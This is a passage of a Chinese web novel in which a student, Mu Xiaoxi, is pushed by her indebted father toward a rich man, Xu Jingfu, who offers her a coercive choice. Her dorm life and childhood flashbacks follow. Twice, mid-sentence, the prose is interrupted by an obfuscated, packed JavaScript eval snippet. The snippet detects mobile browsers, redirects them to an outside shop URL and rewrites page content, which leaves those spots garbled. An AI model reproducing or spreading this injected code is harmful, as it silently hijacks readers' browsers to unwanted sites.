木晓晞想说自己不吃甜的,但她也知道对方是好意,于是她抿了一下嘴,点点头说:“谢谢陈……陈哥。”她看着这一堆东西,深深吸了一口气,笑道,“不过我可能吃不完,太多了。” “没事,挑你喜欢的吃,不喜欢的留给我,我可以带回去当下午茶。”说着,陈遇便笑起来,他长得本身就端正,笑起来随和又阳光,“知不知道这些甜点是怎么做出来的?” 木晓晞摇头。 “这个呢,是香草杯子蛋糕……”陈遇的声音和他的人一样,温和而有礼,不过度地热切也不会叫人感到冷漠尴尬,距离刚刚好,语速不缓不急,娓娓道来。 他讲了每个甜品的产地,做法用材,历史典故,讲杯子蛋糕是如何因为一部热销电视剧成为了一种代表时尚和都市生活的糕点,讲慕斯蛋糕为什么叫慕斯。 “法语里moussé是泡沫的意思,做慕斯时要充分打发,这样口感会像泡沫一样轻盈又蓬松,舒芙蕾也是一样的起名方式,它的名字在法语里是……” “Soffler?”木晓晞说。 “对,soffler,吹气得意思。”说完,陈遇忽然停住了,仿佛想到了什么,他“啊”了一声,“我都忘了,晓晞你是学法语的对吧?瞧我这记性。”他笑道,“真是班门弄斧了,你才是这方面的行家。” 木晓晞听到他的话,先是一滞,接着便有些欲言又止。 陈遇用眼神问她怎么了。 她想了想,还是问了出来:“徐叔叔查了我爸的事,是不是也顺便把我也查了?” 陈遇:“……”他拍了一下自己的嘴,露出一个有些尴尬的笑来。 饶是早就猜到了答案,但还是心里有点难受,原来在这些有钱人这里,她的个人信息就跟透明的一样。难怪一见面就叫出了她的名字。 真是可笑。什么过去就认识,想也知道,她一点印象都没有的人,十几年没见过面的人,对方能对她有印象还能专门记住她的名字才怪了。 而木钧说的那些,不过就是为了让她来。 为了让她…… 她不愿意再深入去想,只是想到这里,她就已经感觉自己像没穿衣服一样了。可脑子停不下来,很多回忆从她脑子里争先恐后地挤出来。 家里是怎么欠到一个亿的她不知道,这么多年来她一直在外生活,虽然知道家里是做家具生意的,也有些钱,但她除了家里那栋价值一千万的别墅和三辆车,其余的财产具体是集中在哪里,具体有多少,又是怎样运作的,她是毫不清楚的。她除了放假的时候能住一住那栋别墅,用一用里头的设置,除此之外其实是没怎么享受过有钱人的生活的。 她的手里没有钱,因为木钧说学生不该拿太多钱,而且钱都是他跟后妈赚的,跟她没一毛钱关系,他只会给她充足的生活费,一月两千五够她吃喝用度即可,其余的享受层面的东西,比如想穿更好的衣服吃更好的东西,或者旅游之类的,那她应该自己去赚。 她一度也是认可这种价值观的,认为木钧是在教导她节俭自立,所以高考毕业后她就开始写一写小说,再画一下插画发在平台账号上,粉丝多了会来找她画画人设写写定制文,靠这个零星地也能赚一些零花钱。 有时运气好,一个月能赚到两三千,运气不好也能有三四百,对一个学生来说是完全足够了,她也很满足。 直到昨天她听到木钧说,说欠了一个亿,她才被唤起了很多已经刻意忽略的记忆。 比如,弟弟木延中考结束她爸奖励了他一辆一百万出头的跑车,每一次考试如果在年级前十会有一块价值几万块的手表奖励,弟弟的一双鞋一件潮牌T恤就是她一个月的生活费。再比如,后妈最贵的一个包有四十万。 这些当然都不是木钧亲口告诉她的,而是她自己偷偷拍了照去查出来的,曾经她也有隐晦地提过这些东西是不是挺贵的,木钧的回答是:“都是A货,不值钱,我哪里有钱买那些,到处都是欠账,手里很紧张。” 然后她去查A版的价格,发现即便是A货,他们的一样物品也远超她自己的月度生活费,甚至是年度生活费。 再后来她就不问了,她强行让自己去相信木钧那句“手里很紧张”,不断告诉自己,两千五也不错了,在同学里也算是比较富裕的了。 然而昨天木钧的电话和今天的事让她“自我洗脑”出来的幻想瞬间破碎。 没钱吗?那一个亿是怎么欠出来的? 有钱吗?那为什么要卖她?甚至还想把她卖给一个臭得要命的老男人。 难过吗?好像也不太难过。 愤怒吗?似乎也没有。这比有还让她感觉到羞耻。 窝囊废。 她忍不住骂自己,真是个窝囊废。哪怕是信个邪教呢,也不至于是这个结果。 杯子蛋糕齁人的甜味在嘴里蔓延,甜味带来的安抚成了另一种羞耻,叠加着原本的羞耻,几乎将木晓晞压得无法抬起头来。她一口一口地吃着蛋糕,使劲地眨眼,不愿让对面的男人看出她的丝毫情绪。 也幸好,陈遇并没有看她,他的电话刚好响了,侧到一边去接电话了。 “嗯,对,找到了……在食堂……我们在食堂吃点东西……吃得什么?一点绿叶菜,橙汁,还有香草杯子蛋糕。”陈遇低声而恭敬地回复着电话那头。 木晓晞一下就知道是谁打来的电话了。情绪突然有些忍不住,眼眶有点发热。 怎么都没想到,连着两个关心她吃没吃饭的人,竟然一个是买家,一个是买家的秘书。两个都是初次见面的陌生人。 真可笑。 虽然这样,但她还是从挎包里翻出自己的手机,打开来看了看。不出所料,什么也没有。 陈遇看到了她骤然发红的眼眶,顿了一下:“嗯……还没吃完……现在就上去吗?哦……好,好。” 挂了电话后,迎着对面那张强撑着体面的有些倔强的面孔,他抿了下嘴,解释道:“是老板的电话,他问我你在哪里。” 木晓晞点头。 陈遇有些不知所措,他没有太多安抚女孩的经验,于是又道:“老板说让你慢慢吃,不着急。” “徐叔叔要见我?” “嗯。” 木晓晞起身:“那现在走吧。” “也不着急……” 陈遇见她比较坚持,便也没再说什么,跟着起了身。 往外走了两步,木晓晞突然问:“我爸也还在上面吗?” 木钧吗? 该怎么说。 也不用他说,木晓晞看到他的表情后就知道了。 “他走了对吧?” 也许是之前在楼上时发生的一切让她已经脱了敏,此刻得知自己被木钧单独抛下之后,她竟然不觉得意外,仔细想想也没什么好意外的。 “走吧。”从小到大,他一直都是这样对她的。 很快,她便被带到了最开始去到的那个办公室的门口。 陈遇对她点了下头:“老板在里面。”他似乎有话没说完,但最终还是什么也没说,只拍了拍她的肩膀,“我先走了。” 本来一路上没觉得有什么,可眼见他要离开,木晓晞的心里忽然涌起一股强烈的惶恐和不安,她猛地一下拉住他的手臂:“陈哥。” 如果她能看到自己的样子,她会发现此刻的自己正央央地望着陈遇,露出像抓着一根救命稻草一般的神情。也许是木钧的离开让她失去了最后的倚靠,强烈的恐惧让她不由抓住了眼前这个刚刚认识不久的唯一对她表达过善意的人。 然而,这根救命稻草的脸上却流露出了为难。 “抱歉……” 她触电一般松开了手。 陈遇:“……” 木晓晞:“抱歉。” 像是在给自己打气一般,说完这话后她就转头看向大门,起伏着胸膛做了几个深长的呼吸,接着,干脆地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200742|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推门进去了。门合上以后转过身,她看到了那个依然坐在原来的位置上背对着她抽烟的男人。 地上全是烟灰和零散的烟头,哪怕开着窗户换气通风,整个屋里也都是缭绕的烟雾,而木钧,确实已经不在这个空间之中。 开关门是有声响的,然而即便如此,那个男人却依然动都没动一下,像什么也没听到没感受到一般坐在那继续抽烟,木晓晞看到他用手撑着头一下接着一下地吃那根烟,背影中透露出了一种仿若幻觉的疲惫。 然而就算如此,也依旧没法让木晓晞那满脑子骤然涌现的灾难般的念头停下来。 她的想象力一向不错,看过许多狗血电视剧和小说,也跟着木钧实地见过许多乱七八糟的人,听闻过很多猎奇又肮脏的社会故事,如今自己沦落到这种地步,难免会忍不住把这些乱七八糟的情节往自己身上套。 她的亲爹为了钱把她卖给了有钱人,如果有钱人要对她做什么,她能反抗吗?如果对方真要对她不轨,来得及报警吗?如果报警的话,有人管吗?这么大一个老板,随随便便可以拿出一个亿的老板,有这么多钱,坐拥这么一大栋楼,面对这样一个深不见底的不在一个阶层的上位者,她对抗得了吗?退一万步来说,如果对方真要对她做点什么,光是力气她都比不过,谈何其他。 想法越来越多,越来越离奇,也越来越恐怖。 各种“万一”的念头一瞬间将她淹没。 她几乎要喘上不来气。 而就在这时,男人的声音突然响起。 “你七岁那年,我许诺过你一个生日愿望,不管是什么要求,我都会满足你。” “我猜你应该是早忘了,不过不重要。” 徐敬孚抽完烟包里这最后一根烟,掐了随手扔到地上。他撑着沙发站起来,活动了一下身体,转过身来朝木晓晞走过去。 沉浸在想象中的木晓晞根本没听清他说了什么,看他过来后,立马一个激灵往后退了几大步,一个不注意就撞到了门把手上。来不及感受到痛,她反手一把抓到把手上,像根随时会弹射出去的弹簧一样一副随时会夺门而逃。 徐敬孚看到她这个样,嘲讽地冷冷地勾了下嘴角,没管她这幅反应过度的夸张作态,而是径直走去了办公桌边,拿了一份文件出来,扔到桌上。 “把这些看完,然后再跟我说说,你看懂了什么。” 木晓晞一动不动地,警惕地瞪着他。 徐敬孚:“……” 两人对峙了十几二十秒,空气中响起一次长长的粗重的出气声。徐敬孚坐到办公椅上:“你把门打开吧,这一层除了我,还有一个副总,两个秘书,三个秘书助理,你随时可以尖叫让所有人都听到这里的动静,你包里有手机吧,现在也可以拿出来调到一键报警模式,如果你还不放心,就把陈遇叫进来。” 木晓晞:“……” 徐敬孚看着她那副跟受惊炸毛的猫一样的状态,脸上是一丝笑意也没有,他甚至因为木钧有些迁怒她挖苦她的意思:“怎么,木钧把你教得已经想不到人性善的地方了是吗?你放心,我跟你爸不一样,不会做那些自贬身价的事,我要想要什么东西,还用不着用这种倒胃口的方式去得到。” 木晓晞握着锁把的手慢慢松了下来:“我怎么知道你不是?” 徐敬孚气得发笑:“你都可以做我的女儿了……你脑子里到底……”他气得说不出话。 “我见过。” “我猜也是,你跟你爸见过不少大世面。” “呵。”也许是他的态度太恶劣,语气太过轻蔑,女孩儿突然笑了,也是被气笑了。前头一直压抑着的情绪忽然跟泄了洪似的,一下爆发了出来,从头到脚,从发丝到表情,每一个部位好像都在一瞬间打上了愤怒和反叛的印记。 木晓晞也不知道自己哪里来的胆子跟这样一个她爸都要低声下气说话的大佬顶嘴,但她就是这样做了,明明前一刻她都怕得要死,这一刻却像被愤怒屏蔽了所有的恐惧。明明前面被木钧出卖被他抛弃的时候她都没有这样生气,可现在这怒火却不可遏制地涌出。 以一种连她自己都觉得不应该的尖刻的方式表达了出来。 “对,我见过,别说我爸了,你们这种人不都是这样吗?有几个做到你们这种程度的男人是干干净净纯洁无瑕的?别告诉我,徐叔叔从来没参加过什么同性之间的按摩洗脚活动,也从没参加过那种被一群小女生围着倒酒剥葡萄,喝酒喝着喝着就搂搂抱抱亲起来的应酬,然后就顺顺利利清清白白地做到了这样的身家,坐到了这个位置。” 真难听。 要多难听有多难听。 说完以后木晓晞自己都觉得自己说错了话,可就跟考试一样,她控制不了自己。 “我对你们这种人有所防备,不应该吗?” 她此时跟个哪吒一样,颇有一副我就是要说,你有种把我弄死好了的豁出去的叛逆种性,跟当初那个小女孩完全不同。和七岁的她,完全不是一个人。 那时候的她,说出来的话不是这样的。 曾经的木晓晓,不是这样的。 “世界是很美好的,有希望的,就像冬天凌晨六点的天空,天空很暗,星星却很亮。” “木晓晓。” “你说你不喜欢你的名字,那会让你感觉到自己很小,很弱,你说你的名字应该叫星星,星星看起来小,但其实很大,很亮,是夜晚的太阳,可以在夜空里发光。” 也可以给我照亮。 你说我迷路的时候,看不见的时候,可以提着你照明,可以看看天上的星星。 这样,我就可以看见希望。 “你看看你已经变成什么样子了。” 木晓晞说:“我一直是这个样子。” “是吗?不愧是木钧的女儿。”徐敬孚皮笑肉不笑地牵了下嘴角,“既然如此,那我给你两个选择,一,做我的女儿,和木家所有人从此断绝往来,永不见面,你改姓徐。” 木晓晞一下缩紧了瞳孔。 “二,就像你爸的美好设想那样,成为我的女人。” “一个礼拜的考虑时间,如果都不选,等着你爸去坐牢,不过以他欠债的金额和得罪的人来看,这已经算是他最理想的梦幻结局。” “最坏的结果是,他可能都没命上法庭。” “就这样。”徐敬孚拿着那沓资料走过去,把东西塞进她手里,“作为你的长辈,我再给你一次机会,我想你应该知道该怎么选。” 说罢,便叫来陈遇送客。 4. 第 4 章 (四) 木晓晞不喜欢做选择,从小就不喜欢。不是因为不想选,不敢选,而是她知道很多时候所谓的选择就是个伪命题。 就像她小时候木钧把她送走前,问她:“要和外婆一起住还是和爸爸妈妈弟弟一起住?” 虽然那时候她还很小,但她却知道,这个问题能问出来就意味着已经存在答案了。只是那时她还很天真,即使知道这是一个有正确答案的选择题,她还是选了,故意选了那个错误答案。 她以为她的选择可以改变那个正确答案。 但结果是什么呢?她不记得具体的事了。她只记得,她后来主动跟爸爸说:“我要去外婆家。” 就这样,她去到一个陌生的老太家里,在那里生活了三年。外婆去世后,她再一次面临选择题:“去爷爷奶奶家还是回来和爸爸妈妈弟弟一起住?” 不等她回答,提供选择的人又说:“爷爷奶奶家宽敞一些,还有电视看,现在爸爸家是不准看电视的,你妈不让看。” 她知道,对方不希望她选错,于是她选择去和爷爷奶奶一起住了。 后来,爷爷奶奶送她去住寄宿学校时,依然提供了选择:“住在学校的话可以和同学们玩,不孤单,上学也不用跑远路……妮儿不愿意的话,回家也行,只不过爷爷奶奶年纪大了,路上不好接送你,煮饭也不好吃……” 所以她选了住校。 高考选专业时,木钧跟她说:“法语和汉语都很好,不过学汉语出路窄,出来只能做个语文老师,爸爸也是为你真心考虑,你看爸爸现在生意做得这么大,如果你学个外语,以后帮爸爸做外贸,爸爸简直如虎添翼,这多好啊。” 最后,她选了她完全不感兴趣的法语。 很多时候她都想,何必要给她两个选择呢?明明并不打算让她选。 就像徐敬孚给出的那两个选择。 直到车开到学校东门停下,木晓晞都没有再说过一个字。从出了那间办公室就这样,不说话,也没表情,一直在低头看她手里那份厚厚的资料。 陈遇从后视镜看了她几秒,开门下了车,然后走到另一侧来为她拉开车门。 “木小姐。” 木晓晞的手跟被雷击中了一样猛地一颤,然后下意识将写满了木钧“罪证”的资料卷了起来,她有些惊慌地抬头:“嗯?” 陈遇:“已经到了,木小姐。” 到了? 木晓晞这才注意到周围的情况,已经在学校门口了,因为路上堵车,一个小时的车程硬是开了接近两个小时,这会儿已经是下午四点半左右,这个时间点第二堂课已经下了,学校门口有很多学生进进出出地去街对面吃饭。车停的位置刚好是在门口侧边,引来了不少学生的注意。 “……好,谢谢陈秘书。” 陈遇听到她称呼的改变稍稍愣了愣,不过也没说什么,徐敬孚刚才来了信息交代他尽快返回,他也不好逗留。 他护着木晓晞的头等她下来后,从钱夹里取出来一张名片递给她:“这是徐总的私人名片,徐总说你做出选择了可以联系这个电话。”顿了一下,他又取出来另一张名片,“这是我的联系方式,徐总的私人手机偶尔会关机,如果你打不通他的,可以联系我,我的电话二十四小时通畅。” 木晓晞接过两张名片看了一眼,两张都是标准的白色职业名片,乍一看并看不出什么区别。徐敬孚的名片头衔更多一些,电话只有一个,而陈遇的上面除了三个联系电话还有邮箱和微信号。 “那么……我先走了。”刚说完,他想起来还有一件东西给忘了,他连忙说,“稍等,有样东西,徐总让你提回去。” 木晓晞看到他从前座副驾驶座位上拿下来一个手提袋,那是她爸让她今天提去的送给徐敬孚的礼物。 “徐总说,礼物太贵重,他不能收,请你带回去还给木先生……还有……” 她并不知道木钧送了什么礼物给徐敬孚,不过既然徐敬孚这样说了,她就接了过来:“徐叔叔还有什么话要您跟我交代吗?” 那倒也没有。 非要说有什么…… “徐总是一个时间观念很重的人。”陈遇想了下,还是善意地提醒了一下她,“他说一周,就是一周,是一天,一个小时,一分钟,哪怕一秒钟都不能晚。” 晚了会怎么样? 【在我之前,徐总的身边有一个很有经验的女秘书,在他身边做了整整五年,但是因为一次重要会议她迟到了一分钟,哪怕没有造成任何损失,徐总也依然炒掉了她。】 神经病。 告别陈遇后,木晓晞提着袋子一步一步地往学校里面慢慢走。 她走得很慢,让夏日温暖的阳光落在自己的头上,让柔软的微风拂过自己的头发和脸颊,让地下凹凸不平的砖块成为支撑她前进的力气,一步,又一步。 她什么也没想。 今天发生了太多的事,理智上理应让人感到离奇的事,愤怒的事,恐惧的事,可不知怎么她此刻的心情却异常得平静,除了有点冷,有些脱力,好像也没什么和平时有多不同,甚至她还有心情去看路边的花草,去看小路底面上从茂密叶片中照射下来的阳光斑点,去一脚一脚地踩自己的影子。 一直走,一直走,一直一直一直地走,就好像这条路没有尽头那样。 可这条路终究还是有尽头,她在路的尽头看到了她认识的同学,于是她扬起笑脸跟同学热情地招呼,她去了生活楼里买了饭,还跟卖粥的阿姨聊了天,得知对方的儿子最近要结婚了,难怪多给她送了两个小菜。 生活楼里也遇到了同班刚下课的同学,同学问她今天干嘛去了。 “我爸今天来这边办事,叫我跟他一起去城里吃个饭。”她幸灾乐祸地问,“今天lux的高翻课怎么样啊?难不难?” “别提啦!想死,他今天也不知道吃什么炮仗了,可吓人了,因为听写单词全班没有一个人全对,他骂人都骂了半节课,幸亏你没来……” 她哈哈笑:“那我运气可太好了,我单词也没背熟呢。” 跟同学说笑一路一起回到宿舍,刚进门,宿舍同学就在床上跟她招手:“回来啦,你爸你给送了一大袋橙子,楼下舍管阿姨叫我给你拿上来了,我给放你桌上了,说吧,该怎么奖励我?我可提了整整五楼!” 说话的是石兰。 因为开学时的某些分班失误和巧合,木晓晞跟自己班的同学同班不同寝,跟宿舍三个同学又不同班,因为不同的班课程安排不同,时间安排也很不一样,所以她被迫地在校园社交这方便面落了单。 在班里她跟张欣这个老乡关系好一些,在宿舍她则跟石兰关系最好,石兰是西北人,性格大方活泼又幽默。 “哎哟,想吃自己拿呀,您还有这么客气的时候呢?”她笑着把手里的袋子和资料放到衣柜里,取下挎包,瞥了一眼桌上那一大袋橙子,笑容不太明显地滞了一瞬,不过语气还是很自然,“我爸给我送的?什么时候啊?” “阿姨说是下午两点的时候送过来的。” 她打开塑料袋子,取了三个大大的橙子出来准备拿去给石兰,没想刚把橙子拿出来,她就看到了里头那张叠着的纸。很明显,上面写着什么字。 她僵了一下。 “说到这我还觉得奇怪呢,你今天不是跟你爸在一起吗?不是说去机场接他了?” 她把那张叠着的纸拿出来打开,看到上面有几行字,是木钧的笔迹。 【是爸爸无能才导致了今天的局面,不用为了爸爸去做任何事,照顾好你自己,不管怎么样,爸爸都是爱你的。】 “怎么你爸把东西送过来了,你还没回来,是出去玩了吗?去哪儿玩了?” “我的橙子呢?晓晞?” “晓晞?” 她一下回过神:“啊?” 石兰问:“你,你怎么了?” “什么怎么了?” 石兰小心地问:“你哭了吗?” 她莫名其妙:“没有啊,怎么……” 话刚说完,她就感觉到自己眼角边有什么滑落了,一模,手指上竟然有一点水迹。她这下才是真愣住了,怎么回事? “你……没事吧?” “哦……这个,这个啊,没事儿。”她拿纸把眼角擦了擦,很轻松地笑着说,“我这两天眼睛有点不舒服,有时候就会像这样莫名其妙流眼泪,我还怕是发炎了,今天我爸来这边,我见完他以后还专门去眼科看了来着,医生说没什么事,可能是晚上关了灯玩手机玩多了。” 说着,她把三个大橙子抱到石兰桌上放下,拿出来一个塞到她床上被窝里:“给你了啊,这个藏好,多给你一个奖励你的。” 话音刚落,宿舍门就被推开了,舍友李苁的声音传了过来:“哎哎哎,我听见了,多给石兰一个,给了什么!” 周静静打先锋冲过来:“报告长官,是橙子!” 李苁怒道:“好啊你个木晓晞!都是坐五百万豪车的人了,竟然还一碗水端不平!” 什么? 周静静在一旁摇头晃脑地帮腔:“石兰,我跟你说,我们宿舍怕不是出了一个叛徒!我跟李苁去街对面买驴打滚回来路上碰上了罗雨言,你知道罗雨言跟我们说什么?” “说了什么?”她问。 周静静哼哼地抱着手臂走过来,拿手指点点她:“叛徒同志,老实交代,那辆五六百万的迈巴赫是怎么回事!人家罗雨言可看得清清楚楚,还给拍了照,你看。”说着,周静静把手机伸过来给她看。 那手机屏幕上显示着一张照片,上面是一辆黑色的车。 划到第二张照片,照片放大了一些,可以看到车边站着木晓晞还有一个年轻瘦高的西装男人,相貌英俊气质不凡,他微微低着头,正在跟木晓晞说着什么。 “交男朋友了?”李苁八卦道,“还是个富二代?” 罗雨言看到她跟陈遇了?还拍了下来? 她对罗雨言这种偷拍人隐私的事很是反感,但又拿对方没办法,只能装作不在意地解释:“不是,怎么可能?” “人证物证具在。” “坦白从宽。” 石兰对着那车的照片搜了一下价位之后也说:“我去,还真是豪车,怎么回事儿啊木晓晞,你背叛人民跨越阶层了?” 木晓晞平时生活费两千多,一个月能存一千下来,开销很是节省,加上对家里的事几乎不怎么提,所以连跟她生活里两年的宿舍同学都不知道她家的家境具体如何,只以为是个小康家庭。 木晓晞回到自己桌前,把那张纸条收起来夹进书堆里,一边给另外两个室友桌上放橙子,一边平淡地说:“那是我一个长辈的车,今天早上跟我爸去城里拜访了一下那个长辈,中间我爸有事就先走了,我回来晚一些,那个长辈就让他的秘书送了一下我。” 周静静八卦的脸一下垮了:“就这样?” 李苁满脸不信,发散思维道:“我不相信,肯定是你男朋友,看看这照片,又高又帅的,你跟我说是秘书?你那个长辈肯定是想撮合你们才让秘书送你吧!” 她被这不着调的发散思维逗笑了,从包里翻出陈秘书的名片:“看,人家的名片,看看职位。” 几个女生轮流看了那张名片,脸都皱巴成了一团,竟然不是言情小说剧情? “阅岭集团?没听过,干什么的?集团……你爸认识的那个长辈这么有钱吗?是集团的什么职位啊?老总?大佬啊?” “我来搜搜。” “哎,你爸能认识这种档次的大佬,你家该不会也有特别有钱吧?隐藏的土豪?你平时都这么低调的吗?” “我靠,靠,靠,靠,原来我们学校旁边不远那一片别墅区就是他们集团修的,这是真大佬啊,木晓晞,原来你人脉这么广啊……” 耳边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200743|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音越来越聒噪,越来越多,吵得她的脑袋嗡嗡作响,耳朵也一阵一阵地耳鸣。 她试着晃了晃脑袋,想把这种不舒服的感觉晃出去,却没想到越晃越难受,头晕眼花,连着胃里也开始翻江倒海。很快,室友们的声音开始变得模糊。 “晓晞,我以后的工作可就靠你安排了,我要求不高,一个月有八千我就干……” “八千?我六千就……” “哇。” “哎呀,晓晞,你怎么吐了!” “晓晞你没事吧!” “晓晞?晓晞!” 晕过去之前,木晓晞强撑着身体将那张纸条扔进了垃圾桶里。 她告诉自己,哪怕是个窝囊废,也不要再上这种显而易见的当了。 爱?如果这就是爱的话…… “你妈很爱你,所以对你很宽容。” “是。” “但不代表我也这样。” “……” “听说你那边出了点事,需要帮忙吗?” “不用。” “之前我就说过,不应该对那种人心软,也不应该给钱,而是要将他置于永远无法翻身的境地,否则后患无穷,你现在信了?” 徐敬孚拿着扇子给躺椅上沉沉睡着的鼻子里插着氧气管的老太太轻轻扇着风,说:“我会处理好的。” 徐休平静地拨着手上的佛珠串儿,眼睛盯着正在播放的电视新闻:“你妈活不久了,我只想在最后的日子平平静静安安生生把她送走,如果那件事被新闻爆出来让她知道,影响到集团的利益,你这个徐总就不要再做了。” “好的,徐董。” “她在的时候,你该叫我爸。”徐休站起来,叫他站到一边去,接过他手里的扇子亲手给躺椅上的那个看起来比他老了十几二十岁的白发老太太打扇,“你妈在去年的六十大寿生日上也说了,她希望能看到你结婚,当时我没说什么,是觉得她还能再活几年,但是今年你妈什么情况你也清楚……结婚这件事可以提上议程了,尽快。” 徐敬孚没有说话,只是静静站在一侧。 徐休说:“我不管你用什么办法,随便什么人都可以,哪怕是个假的,都要给我带回来一个。” “爸。” “结了再离也可以,在你妈走了以后。”徐休这两年也老了,没有过去那些年时那么专断独行了,但这种宽容也并非源于仁慈和爱,而是因为冷漠和不在意。因为冷漠,所以不在乎他人如何想如何感受,因为不在意,所以很多话说得也很直白残忍。 “你不吃亏,完成这个任务,让你妈没有遗憾地离开,我可以将我个人资产的10%分给你,够你花一辈子。” “完不成,那就拿着你这些年的工资走人。”徐休淡淡道,“你知道,这个世界上除了你妈,我谁也不在乎……没有你妈,你对我来说什么也不是。” 徐敬孚从别墅区出来,在车里坐了很久。 一直坐到了天黑,星星铺满了那张深不见底的黑色幕布,他下了车在那闪烁交织的星星网络中辨认出了那个大勺子。然后很自然地,他想到了今天白天时那个随着父亲来到他办公室里的白裙女孩儿。 真的是好久不见了。 那个当初刚刚到他腰的孩子,现在竟然已经长得这么高了。 …… “我一个人上学好害怕,路上好黑,好多次我都不想去上学了,这个时候我就会看星星,我想象星星就是我的朋友,陪着我一起走路,跟我说话,我就一路跟星星说话,一直说一直说,然后就到学校了。” 24岁的徐敬孚说:“你这样做是可爱,我这样做是神经病。” 小孩说:“那你就在心里悄悄说啊。” 徐敬孚:“想象不出来星星怎么说话。” 小孩自顾自地说:“你孤单了,那你就把我想成星星跟我说话,你怕黑,就把我想成星星灯提在手里走路,你不知道目标在哪里了,就看看北斗七星,想象那是我的大勺子,我在用它吃饭,对了,你饿不饿啊徐敬孚?” “你该叫叔叔。” “我书包里有一个橙子,给你吃吧徐敬孚,我刚听到你肚子叫了。” 徐敬孚把橙子皮给她剥了:“给你,那是你的肚子在叫。” “……” “吃吧,年纪小,心眼儿还挺多。” 小孩反驳:“我不是心眼多,我是故意那么说的。” “为什么?” “因为你好像很难过。” “我也是故意那么说的。” “啊?” 徐敬孚已经有些不耐烦了:“你鼻涕都快淌到嘴里了。”他拿纸给木晓晞擦了鼻涕,把身上所有的钱都给了这个话痨小屁孩,让她拿去买很多橙子吃,还把羽绒服都脱给了她。 然后他送小孩儿去了学校,一路上这小八哥儿的嘴就没闲过,叽叽呱呱吵得他心情更差了几分,但孩子天然看不懂他的脸色,也看不懂他此刻的心情,还是说个不停说个不停,烦得他恨不得把人丢去马路中间。 分别时这小丫头还紧紧抱着他说什么:“要是你是我爸爸就好了”。 他敷衍道:“这辈子算了,下辈子吧。” 下辈子其实也不想。 下辈子最好不要做人了。 就在他准备离开重新回到那座桥上时,小孩儿突然拉住了他的裤子。 又怎么了? “你不准死。”小孩说。 徐愣住了。 “徐敬孚,冬天的河水太冰了,你会冷的。” …… 十三年了,没想到再次见到这孩子时会是这样的场景。 他想了好一会儿,给陈遇打了电话:“就这几天,木晓晞那边你去安排一个时间,把她接过来,我有事要跟她谈。” 下辈子会在哪里也不知道,那就这辈子吧。 就当是他欠她的。 5. 第 5 章 (五) 因为木晓晞的状态突然之间变得太差,校医又看不出什么门道,即便吃了药还是吐了一宿,又是发烧又是拉肚子的,着实把三个室友给吓坏了,连夜将她送到市里的医院里去挂了个急诊。 抽血加化验,也依然没什么问题,不是感冒也不是病毒感染,最后医生以普通的肠胃应激论给开了点和医务室一样的肠胃药和退热药打发了她们。 “真没事儿吗?” 几个室友七嘴八舌地说。 “她好严重啊,这会儿说话都不说了,昨天下午她还能说能笑呢,真不是食物中毒了什么的吗?” “是啊,她还一直说自己想睡觉。” 医生无奈:“吐多了还发烧,肯定很疲惫啊,营养水不是挂上了吗?等等就好了,指标都正常,没事的。” “但是……她都不笑了,一早上就感觉她一点儿都没笑,精神很差,我们这个同学平时不是这样的,她之前流感烧到四十度都还生龙活虎的,这回才三十八度多点。”石兰担心极了。 李苁和周静静在一旁“对啊对啊”地点头。 医生叹了口气,值一夜的班也累了:“那也跟这个病没什么关系,有可能真的是有什么心情不好的呢?情绪差了,有时候也会引起肠胃反应的,就像考试前很多人肚子疼一样。” 石兰一下“啊”了一声,仿佛想到了什么。 “怎么了?”另两个女孩问。 石兰有些怀疑犹豫地说:“晓晞好像还真的是会考前拉肚子。” “啊?” 她们这里的事木晓晞是完全不知道的,她只是感觉好困好晕,眼睛都难以睁开,醒来也醒不了多久就又想昏睡过去。在医院输完营养液反复确认真的没事之后,她就被三个女孩架着坐上了回学校的车,车开一路她睡一路,下了车又被架着回到宿舍,躺到床上,继续睡。 中间偶尔醒来,也是室友叫她起来吃饭,但吃不了两口,她又想吐,室友就只能给她喂电解质水。 这种状态持续了有两天,依然没怎么缓解。 导员知道这个事后还专门来看了她,问她状态如何,问她这个城市有没有她认识的亲戚朋友,需不需要跟家里人说一下她的情况。 “不用,没事的导员。”她硬撑着疲倦的身体下了床,笑着说,“我觉得今天状态还可以,好多了。” 李苁说:“你不是认识那个有钱的长辈吗?要不联系一下……” 木晓晞现在根本不愿意听任何关于那个男人的事,一听连头都开始痛了,她皱着眉揉了揉头,苦笑:“别,我跟人家根本不认识,不熟,前两天我们也就是第一次见面,人家估计连我名字都不记得呢。” “好吧。” “我真没事儿,就是吐了两天有些乏力,今天烧也退了,精神好多了,这两天我吃清淡点就好啦,放心吧导员,谢谢你们这么关心我。”木晓晞跟大不了她们几岁的导员姐姐还有三个室友挨着抱了一下,客套道,“谢谢你们,你们真让我理解了什么叫在家靠父母出门靠朋友,真的都不知道要怎么感激你们一场了,太暖心了。” 石兰锤她:“场面话少说,赶紧好起来才是真的。” 李苁和周静静也“对啊对啊”。 导员见她确实精神也没那么差,才稍微放心了一点:“明后天周末,你好好休息休息,周一要是还是没那么舒服,给我发信息,我给你批假,反正你们现在课都上差不多了,都要准备期末考试了,你自己宿舍里看书也一样的。” 之后又说了些有的没的,闲聊了会儿,才离开。 